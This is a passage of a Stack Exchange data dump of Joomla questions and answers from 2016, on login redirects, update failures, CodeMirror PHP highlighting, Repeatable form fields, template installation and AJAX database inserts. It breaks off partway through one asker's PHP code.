  <row Id="18160" PostTypeId="1" CreationDate="2016-10-23T07:24:17.937" Score="1" ViewCount="23" Body="&lt;p&gt;I am new to Joomla, so this might be a very simple question, but I find it hard to access the information required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made the basic site, and I have added the login form already. Furthermore I have created a new user group, with the restricted permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the site is for an artist who owns a school. The basic site will contain some information about the school, but existing students should be able to login, and if they do, have access to a page with some links to download extra learning material, in the form of pdf files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I login using the new student user to test the site, the page opens with some basic information about the user profile itself. Naturally that is not what I want. I would like the new page displayed, and the student should not be able to edit anything. If anyone here can give me some advice it would be great - thank you!&lt;/p&gt;&#xA;" OwnerUserId="9183" LastActivityDate="2016-11-22T10:33:29.823" Title="How to give logged in users more content availability in Joomla 3+?" Tags="|permissions|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18161" PostTypeId="2" ParentId="18160" CreationDate="2016-10-23T08:10:10.460" Score="1" Body="&lt;p&gt;Just assign the users to the basic registered user group and in your login module and or menu item it will allow you to choose a redirect after successful login and logout. Simply choose the page your are referring to.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-10-23T08:10:10.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18162" PostTypeId="2" ParentId="18131" CreationDate="2016-10-23T08:25:20.587" Score="1" Body="&lt;p&gt;There are a few layers of turning the title name off.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If it is a category blog/list that setting will apply to the article.&lt;/li&gt;&#xA;&lt;li&gt;The Article options globally will be applied next(up right corner when first going to main article page)&lt;/li&gt;&#xA;&lt;li&gt;Then the article itself has the option to hide the title as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is done in that order.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-10-23T08:25:20.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18163" PostTypeId="2" ParentId="17549" CreationDate="2016-10-23T09:54:21.590" Score="1" Body="&lt;p&gt;I had the same problem when trying to update Joomla from 3.6.2 to 3.6.3. On the first instance, I uploaded the zipfile and could execute the update that way. So for all you folks out there that want the easy way: simply download the update zipfile and do the update that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, on the second 3.6.2 instance, I finally ended up patching the code to follow redirects. The update to 3.6.3 succeeded! And off course, it overwrote my patched code. :-))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I basically did is patch the JHttpTransportStream.request() function in the file libraries/joomla/http/transport/stream.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#BNN DEBUG BEGIN&#xA;//      OLD CODE&#xA;//      return $this-&amp;gt;getResponse($headers, $content);&#xA;//      NEW CODE&#xA;        $response = $this-&amp;gt;getResponse($headers, $content);&#xA;        if($response-&amp;gt;code==302 &amp;amp;&amp;amp; $options['follow_location']==1) {&#xA;            //received HTTP/302 Redirect, find &quot;Location:&quot; header&#xA;            error_log('BNN DEBUG Location='.$response-&amp;gt;headers['Location']);&#xA;            return $this-&amp;gt;request($method, new JUri($response-&amp;gt;headers['Location']), $data, $headers, $timeout, $userAgent);&#xA;        }&#xA;        return $response;&#xA;#BNN DEBUG END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9184" LastEditorUserId="9184" LastEditDate="2016-10-23T10:02:04.453" LastActivityDate="2016-10-23T10:02:04.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18164" PostTypeId="1" AcceptedAnswerId="18587" CreationDate="2016-10-23T15:56:31.593" Score="10" ViewCount="382" Body="&lt;p&gt;Is there an easy way to migrate or copy existing meta keywords for articles so that they become article tags, in Joomla 3.6?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is: Joomla, until a few versions ago, didn't have a tag system. Before that, we used the meta keywords instead, and modules like &quot;Related articles&quot; also used the meta keywords to identify related articles. Now, the current version of the related articles module uses the tags instead of the meta keywords, which essentially means it can't process any of the older articles. Also it's more beautiful/correct to use tags instead of meta keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like some automatic way to process a few hundred articles, read the existing meta keywords and import them as tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at the database structure to see if some SQL scripting can do that, but the tag system uses relational fields and while I could probably write a script it would take a fair amount of fiddling and testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd think more people have this issue and somebody might have developed a plugin or a command line script, but I can't find anything helpful. &lt;/p&gt;&#xA;" OwnerUserId="9185" LastActivityDate="2019-05-05T21:13:26.973" Title="Migrate meta keywords to tags" Tags="|database|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18165" PostTypeId="1" AcceptedAnswerId="18352" CreationDate="2016-10-23T17:49:21.877" Score="3" ViewCount="4717" Body="&lt;p&gt;I tried all the other similar answers for the same error without success. I guess there are some kind of problem specific to the update on my host (GoDaddy). I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrade normally via backend (no success) &lt;/li&gt;&#xA;&lt;li&gt;Upload the update package via backend / http (no success)&lt;/li&gt;&#xA;&lt;li&gt;Upload the update package via ftp to the administrator/tmp folder (no sucess)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these tries gives me the same error. Any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="9187" LastEditorUserId="9187" LastEditDate="2016-11-14T17:03:07.207" LastActivityDate="2019-01-25T11:21:51.897" Title="&quot;ERROR: The archive file is corrupt, truncated or archive parts are missing&quot; while trying to update" Tags="|joomla-3.6|upgrade|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18166" PostTypeId="2" ParentId="18155" CreationDate="2016-10-23T22:10:40.770" Score="0" Body="&lt;p&gt;Regarding the issue: &quot;Fatal error: Allowed memory size of&quot; you can ask your hosting to increase these values from the php.ini :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time = 30&#xA;max_input_time = 60&#xA;memory_limit = 128M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;( source: &lt;a href=&quot;http://www.inmotionhosting.com/support/website/php-troubleshooting/allowed-memory-size-exausted&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/website/php-troubleshooting/allowed-memory-size-exausted&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="8631" LastEditorUserId="8631" LastEditDate="2016-10-23T22:21:11.873" LastActivityDate="2016-10-23T22:21:11.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18167" PostTypeId="1" AcceptedAnswerId="18168" CreationDate="2016-10-24T06:26:36.517" Score="3" ViewCount="1147" Body="&lt;p&gt;CodeMirror by default only highlights &lt;code&gt;mixed-html&lt;/code&gt; syntax (i.e HTML, CSS, and Javascript) in Joomla. Many of us use custom plugins to run PHP inside modules and articles, but CodeMirror doesn't highlight PHP syntax at all. It becomes extremely difficult to manage modules when dealing with a lot of code. How can I make CodeMirror highlight &lt;code&gt;mixed-html&lt;/code&gt; as well as PHP?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="9485" LastEditDate="2023-01-27T12:24:56.243" LastActivityDate="2023-01-27T12:24:56.243" Title="Make CodeMirror highlight PHP syntax" Tags="|joomla-3.x|php|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18168" PostTypeId="2" ParentId="18167" CreationDate="2016-10-24T06:26:36.517" Score="3" Body="&lt;p&gt;What you need:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://notepad-plus-plus.org/download/v7.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notepad++&lt;/a&gt;&lt;/strong&gt; -PC  &lt;br&gt;&#xA;  &lt;strong&gt;&lt;a href=&quot;http://komodoide.com/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Komodo IDE&lt;/a&gt;&lt;/strong&gt; -MAC &lt;br&gt;&#xA;  or any other text editor which will show &lt;code&gt;line nos&lt;/code&gt;.&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tested on:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Joomla 3.x&lt;/strong&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Procedure:&lt;/strong&gt; &lt;br&gt;&#xA;You need to add some external &lt;code&gt;JS files&lt;/code&gt; to your Joomla Admin's template. These JS files are already included with your Code Mirror plugin.&lt;BR&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Admin templates are located in this directory : &lt;code&gt;/administrator/templates&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your default Admin template is &lt;code&gt;isis&lt;/code&gt;, the file you need to edit is :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/administrator/templates/isis/index.php&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly if your default style is different, you need to edit its respective &lt;code&gt;index&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1 :&lt;/strong&gt;&#xA;Add this code anywhere inside the &lt;code&gt;&amp;lt;head&amp;gt; --- &amp;lt;/head&amp;gt;&lt;/code&gt; tags of your &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/editors/codemirror/mode/php/php.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/editors/codemirror/addon/edit/matchbrackets.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/editors/codemirror/mode/htmlmixed/htmlmixed.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/editors/codemirror/mode/xml/xml.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/editors/codemirror/mode/javascript/javascript.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/editors/codemirror/mode/clike/clike.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ideally you should add it below &lt;code&gt;line 178&lt;/code&gt; :&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lt IE 9]&amp;gt;&amp;lt;script src=&quot;&amp;lt;?php echo JUri::root(true); ?&amp;gt;/media/jui/js/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2 :&lt;/strong&gt; Create a variable having our desired CodeMirror config in JSON format&lt;br&gt;&lt;br&gt;&#xA;The file you need to edit for this is : &lt;code&gt;/plugins/editors/codemirror/layouts/editors/codemirror/elements.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this &lt;code&gt;$myoptions&lt;/code&gt; variable to your &lt;code&gt;elements.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myoptions = '{&#xA;               &quot;autofocus&quot;: true,&#xA;               &quot;lineWrapping&quot;: true,&#xA;               &quot;styleActiveLine&quot;: true,&#xA;               &quot;lineNumbers&quot;: true,&#xA;               &quot;gutters&quot;: [&quot;CodeMirror-linenumbers&quot;, &quot;CodeMirror-foldgutter&quot;, &quot;CodeMirror-markergutter&quot;],&#xA;               &quot;foldGutter&quot;: true,&#xA;               &quot;markerGutter&quot;: true,&#xA;               &quot;mode&quot;: &quot;application/x-httpd-php&quot;,&#xA;               &quot;matchBrackets&quot;: true,&#xA;               &quot;autoCloseTags&quot;: true,&#xA;               &quot;matchTags&quot;: true,&#xA;               &quot;scrollbarStyle&quot;: &quot;native&quot;,&#xA;               &quot;vimMode&quot;: false&#xA;           }';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ideally you should place it just below &lt;code&gt;line 20&lt;/code&gt;:&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$buttons = $displayData-&amp;gt;buttons;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Then you need to replace this line of the same &lt;code&gt;elements.php&lt;/code&gt;:&lt;br&gt;&#xA; [originally this was present at &lt;code&gt;line 24&lt;/code&gt; but after you add &lt;code&gt;$myoptions&lt;/code&gt; variable it must have shifted to somewhere around &lt;code&gt;line 40&lt;/code&gt;.]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var id = ' . json_encode($id) . ', options = ' . json_encode($options) . ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var id = ' . json_encode($id) . ', options = ' . $myoptions . ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;That's it. You're good to go. Check out these screens below:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-------------------------Before-------------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ST0vl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ST0vl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;-------------------------After-------------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vScz1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vScz1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These files might may get overwritten if you update your Joomla.&lt;br&gt;&#xA;Keep backup of both these files.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP plugin used : &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Sourcerer&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;Line no reference : &lt;strong&gt;&lt;a href=&quot;https://notepad-plus-plus.org/download/v7.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;NotePad++&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-10-24T06:26:36.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18170" PostTypeId="2" ParentId="18155" CreationDate="2016-10-24T11:29:38.053" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/users/2247/cwps&quot;&gt;cwps&lt;/a&gt; posted this comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Check &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;this manual&lt;/a&gt;. altough it says update to 3.5 but you can choose any method in that document to update to 3.6.3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Method C worked for me.&lt;/p&gt;&#xA;" OwnerUserId="9178" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-10-24T11:29:38.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18172" PostTypeId="1" CreationDate="2016-10-24T16:49:28.137" Score="0" ViewCount="84" Body="&lt;p&gt;I need to setup a j3 content page with one or more buttons that start a joomla table dump to an excel file on the user pc. The SQL Query shall be specific for each button.&#xA;Now I have not been able to succede with the dumping routine to Excel. Anybody has a possible solution or a piece of code?&lt;/p&gt;&#xA;" OwnerUserId="9191" LastActivityDate="2016-10-24T19:56:16.683" Title="Need to dump specific table to excel" Tags="|repeatable-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18173" PostTypeId="2" ParentId="18172" CreationDate="2016-10-24T19:56:16.683" Score="3" Body="&lt;p&gt;I recently answered a question regarding exporting the list of Joomla users to CSV - &lt;a href=&quot;https://joomla.stackexchange.com/questions/17562/export-user-details-from-database-via-cron/17566#17566&quot;&gt;export user details from database via cron&lt;/a&gt;. The same code can be used for exporting data from any Joomla table. As far as invoking this PHP code from an article - look into Jumi extension - &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/jumi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/jumi&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-10-24T19:56:16.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18175" PostTypeId="1" AcceptedAnswerId="18184" CreationDate="2016-10-24T20:38:12.103" Score="0" ViewCount="937" Body="&lt;p&gt;I've used Repeatable fields in component Options in the past, and am now trying to use that field type in a Form within my component, but the values are not being saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Firebug, I can see that the data I entered into the modal form is being retained, and (what appears to be) an array of JSON objects is being posted.  That data does get posted (as I can see with Tamper), but this seems to be where thing go awry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the left brace appears to be available from $_POST when I check from the first line of index.php, or using the native $data variable within the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Joomla 3.6, how do I properly post the data from the Repeatable field in my &lt;em&gt;model&lt;/em&gt; so that it is saved properly in it's entirety to the database in the same way the component Options do from config.xml?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Form XML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;chapters&quot; type=&quot;repeatable&quot; icon=&quot;list&quot; label=&quot;Agenda Index&quot; description=&quot;Start/Stop times of Agenda items for the meeting Video&quot; &amp;gt;&#xA;    &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;chapters_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;chapter_start&quot; label=&quot;Start Time&quot;  size=&quot;15&quot; type=&quot;text&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;chapter_end&quot;   label=&quot;Stop Time&quot;   size=&quot;15&quot; type=&quot;text&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;chapter_name&quot;  label=&quot;Name&quot;        size=&quot;50&quot; type=&quot;text&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;POST data&lt;/strong&gt; (via Tamper, before POSTing to Joomla)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content-Disposition: form-data; name=&quot;jform[chapters]&quot;&#xA;{&#xA;    &quot;chapter_start&quot; : [&quot;01:01:01&quot;,&quot;03:03:03&quot;]   ,&#xA;    &quot;chapter_end&quot;   : [&quot;02:02:02&quot;,&quot;04:04:04&quot;]   ,&#xA;    &quot;chapter_name&quot;  : [&quot;chapter1&quot;,&quot;Chapter 2&quot;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model $data&lt;/strong&gt;  &lt;em&gt;(Note only the left brace in the &lt;code&gt;chapters&lt;/code&gt; element)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data){&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 9&#xA;    [chapters] =&amp;gt; {             &#xA;    [video_mp4] =&amp;gt; 20150226_regular.9.mp4&#xA;    [audio_mp3] =&amp;gt; 20150226_regular.9.mp3&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model Save&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable();&#xA;if ($table-&amp;gt;save($data) === true)....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Database column result&lt;/strong&gt;   (where the dots are actually blanks)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{..............   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&#xA;    id=&quot;form-video&quot; &#xA;    action=&quot;/index.php?option=com_example&amp;amp;amp;task=video.save&amp;amp;amp;Itemid=185&quot; &#xA;    method=&quot;post&quot; &#xA;    class=&quot;form-validate form-horizontal&quot; &#xA;    enctype=&quot;multipart/form-data&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;button class=&quot;open-modal btn&quot; id=&quot;jform_chapters_button&quot;&amp;gt;&amp;lt;span class=&quot;icon-list&quot;&amp;gt;&amp;lt;/span&amp;gt; Select&amp;lt;/button&amp;gt;&#xA;    &amp;lt;input &#xA;        name=&quot;jform[chapters]&quot; id=&quot;jform_chapters&quot; &#xA;        value=&quot;{&#xA;            &quot;chapter_start&quot;:[&quot;01:01:00&quot;,&quot;02:02:02&quot;],&#xA;            &quot;chapter_end&quot;:[&quot;01:01:59&quot;,&quot;02:02:59&quot;],&#xA;            &quot;chapter_name&quot;:[&quot;Chapter 1&quot;,&quot;Chapter 2&quot;]&#xA;            }&quot; &#xA;        class=&quot;form-field-repeatable&quot; &#xA;        data-container=&quot;#jform_chapters_container&quot; &#xA;        data-modal-element=&quot;#jform_chapters_modal&quot; &#xA;        data-repeatable-element=&quot;table tbody tr&quot; &#xA;        data-bt-add=&quot;a.add&quot; data-bt-remove=&quot;a.remove&quot; &#xA;        data-bt-modal-open=&quot;#jform_chapters_button&quot; &#xA;        data-bt-modal-close=&quot;button.close-modal&quot; &#xA;        data-bt-modal-save-data=&quot;button.save-modal-data&quot; &#xA;        data-maximum=&quot;999&quot; &#xA;        data-input=&quot;#jform_chapters&quot; &#xA;        type=&quot;hidden&quot;&#xA;    &amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-10-24T21:05:12.773" LastActivityDate="2016-10-25T12:12:18.097" Title="How do I save Repeatable data in my component model?" Tags="|custom-component|form-fields-types|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18177" PostTypeId="1" CreationDate="2016-10-24T23:48:20.727" Score="1" ViewCount="50" Body="&lt;p&gt;I have downloaded a free template for Joomla, but I do not know how to install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw on some forums I had to log in as administrator and in the Extensions menu, select &quot;Extensions manager&quot;. But I got lost. Can you provide me with some detailed steps on how to do that?&lt;/p&gt;&#xA;" OwnerUserId="9194" LastEditorUserId="159" LastEditDate="2016-11-03T18:57:07.030" LastActivityDate="2016-12-03T23:56:47.603" Title="How to install a template in Joomla?" Tags="|joomla-3.6|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18178" PostTypeId="2" ParentId="18177" CreationDate="2016-10-25T03:28:13.063" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://www.gavick.com/documentation/joomla/tutorials/how-to-install-joomla-template-manually&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/joomla/tutorials/how-to-install-joomla-template-manually&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;To install Joomla template follow these steps:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to your Joomla admin area as normal &lt;/li&gt;&#xA;&lt;li&gt;click on &lt;b&gt;Install Extensions&lt;/b&gt; in the left menu, or &lt;b&gt;Extensions → Extension Manager&lt;/b&gt; in the top menu.&lt;/li&gt;&#xA;&lt;li&gt;Once in the Extension Manager click on the Upload Package File tab&#xA;Click on the C&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;b&gt;Choose file&lt;/b&gt; button and select your downloaded template package for upload&lt;/li&gt;&#xA;&lt;li&gt;Once selected, hit the &lt;b&gt;Upload &amp;amp; Install&lt;/b&gt; button to get started.&#xA;Wait a few seconds and the template should be uploaded and installed, ready for you to use.&lt;br/&gt;&lt;br/&gt;That tutorial also has alternate instructions for a manual installation using the &lt;b&gt;Discover&lt;/b&gt; tool.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-10-25T03:28:13.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18179" PostTypeId="1" CreationDate="2016-10-25T06:33:29.073" Score="3" ViewCount="1635" Body="&lt;p&gt;How can I achieve a database insert using AJAX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a module and I'm using AJAX &lt;em&gt;post&lt;/em&gt; to insert a record into the database but seem to get a silent error and no database update; I know the &lt;strong&gt;&lt;code&gt;insertdata.php&lt;/code&gt;&lt;/strong&gt; file is called as I get a syntax error recorded in my &lt;strong&gt;&lt;code&gt;php_error_log&lt;/code&gt;&lt;/strong&gt;.    &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any idea where I when wrong with my insert?&lt;/li&gt;&#xA;&lt;li&gt;Is there any way to show error log or console log in the &lt;strong&gt;&lt;code&gt;insertdata.php&lt;/code&gt;&lt;/strong&gt; file?&#xA;&lt;br&gt;&lt;strong&gt;&lt;em&gt;&lt;code&gt;error_log('My Error: ', 0);&lt;/code&gt;&lt;/strong&gt; doesn't seem to work.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below is the content of my &lt;strong&gt;default.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;update_dialog&quot; title=&quot;Update Details&quot; style = &quot;display:none&quot;&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; id=&quot;my_form&quot; action=&quot;modules/mod_myPage/insertdata.php&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Company Name :&amp;lt;/label&amp;gt;&amp;lt;input id=&quot;Company_Name&quot; type=&quot;text&quot;&amp;gt;&amp;lt;/input&amp;gt;&#xA;        &amp;lt;label&amp;gt;Company Address :&amp;lt;/label&amp;gt;&amp;lt;input id=&quot;Company_Address&quot; type=&quot;text&quot;&amp;gt;&amp;lt;/input&amp;gt;&#xA;        &amp;lt;input id=&quot;submit&quot; type=&quot;button&quot; value=&quot;Submit&quot;&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function () {&#xA;    jQuery(&quot;#submit&quot;).click(function () {&#xA;&#xA;        _Company_Name = jQuery(&quot;#Company_Name&quot;).val();&#xA;        _Company_Address = jQuery(&quot;#Company_Address&quot;).val();&#xA;&#xA;        jQuery.post(&quot;modules/mod_myPage/insertdata.php&quot;,&#xA;            {&#xA;                Company_Name: _Company_Name,&#xA;                Company_Address: _Company_Address&#xA;            },&#xA;            function (data, status) {&#xA;                alert(&quot;Data: &quot; + data + &quot;\nStatus: &quot; + status);&#xA;            });&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that of my &lt;strong&gt;insertdata.php&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined ( '_JEXEC' ) or die ();&#xA;&#xA;&#xA;if( isset( $_POST['Company_Name'] ) )&#xA;    {&#xA;        $_Company_Name = $_POST['Company_Name'];&#xA;        $_Company_Address = $_POST['Company_Address'];&#xA;&#xA;        $insert_query = &quot;INSERT INTO #__myCompany (Company_Name, Company_Address, Create_Date)&#xA;     